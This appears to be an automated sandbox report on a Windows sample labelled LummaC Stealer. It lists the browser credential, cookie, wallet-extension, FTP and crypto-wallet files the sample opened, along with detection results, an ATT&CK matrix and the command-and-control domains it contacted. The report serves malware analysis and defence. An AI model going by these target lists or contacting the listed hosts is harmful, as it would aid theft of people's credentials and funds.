Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior

Source: Yara match

File source: Process Memory Space: 8ZVMneG.exe PID: 2144, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 8ZVMneG.exe PID: 2144, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8ZVMneG.exe	65%	Virustotal		Browse
8ZVMneG.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
8ZVMneG.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
immureprech.biz	178.62.201.34	true	false	high
deafeninggeh.biz	178.62.201.34	true	false	high
sordid-snaked.cyou	unknown	unknown	false	high
diffuculttan.xyz	unknown	unknown	false	high
effecterectz.xyz	unknown	unknown	false	high
bellflamre.click	unknown	unknown	false	high
awake-weaves.cyou	unknown	unknown	false	high
wrathful-jammy.cyou	unknown	unknown	false	high
debonairnukk.xyz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
deafeninggeh.biz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://immureprech.biz/api	false	high
debonairnukk.xyz	false	high
https://lev-tolstoi.com/api	false	high
diffuculttan.xyz	false	high
bellflamre.click	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://player.vimeo.com	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/s	8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/api0b	8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/subscriber_agreement/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/Spe	8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com:443/apical	8ZVMneG.exe, 00000003.00000003.2483778671.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.valvesoftware.com/legal.htm	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apibV7	8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2402934236.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://wrathful-jammy.cyou/t	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/k	8ZVMneG.exe, 00000003.00000002.2485639494.0000000003C10000.00000004.00000800.00020000.00000000.sdmp	false	unknown
